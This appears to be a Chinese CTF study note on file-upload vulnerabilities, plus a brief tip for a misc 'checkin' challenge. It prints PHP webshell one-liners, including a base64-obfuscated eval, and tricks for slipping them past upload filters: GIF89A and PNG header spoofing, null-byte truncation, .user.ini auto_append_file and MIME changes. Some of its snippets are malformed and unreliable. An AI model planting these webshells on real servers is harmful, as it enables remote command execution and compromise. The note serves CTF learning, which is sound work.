web
文件上传漏洞(补充)
- 学了一个
绕过小技巧
若过滤<?;?>,可以用if(){}来闭合
<?php @eval($_POST['chopper']);?>
等同于
$a=base64_decode("ZXZhbA==");//引号里面是eval的base64
if($a($a($_POST['chopper'])){};
- 后端无验证
右击上传图片
看源代码,可以修改png为php
传入一句话木马
system('ls');当前目录
system('ls /');根目录
system('ls ../');上级目录
- 后端文件类型验证(看三个)
- 添加图片头 GIF89A进行欺骗,误以为是图片,实际执行下面内容
- png头欺骗
先随便加个内容,然后找到内容,将Png文件头前八个直接修改进去
- 00截断
同样在hex里面,把.换成00
- Png不会被解析,php3不一定
- .user.ini
改一下accept
内容
auto_append_file=1.txt
image/png
image/gif
image/jpeg
application/php
这里类型应该修改不了
<?=`` 相当于 <?php echo ;?>
<?=eval($_POST[1])
php可以不添加- POST[]可以用大括号()替换
<?=eval($_POST[1])
可以替换成<?=eval(array_pop($_POST));?>
或<?=eval(array_pop($_POST))?>
(删去分号)- <?php?>和<?=?>等价
- system()和``是等价的
- <?php system('ls');?>相当于<?=`cat*`;
执行命令
misc
checkin
打开网页检查,看目录,找到wordlist
往上翻
再继续找
解码即可
也可以直接MRCTFbase64编码寻找,但是多了几个字符(注意搜索所有文件可以右击总目录)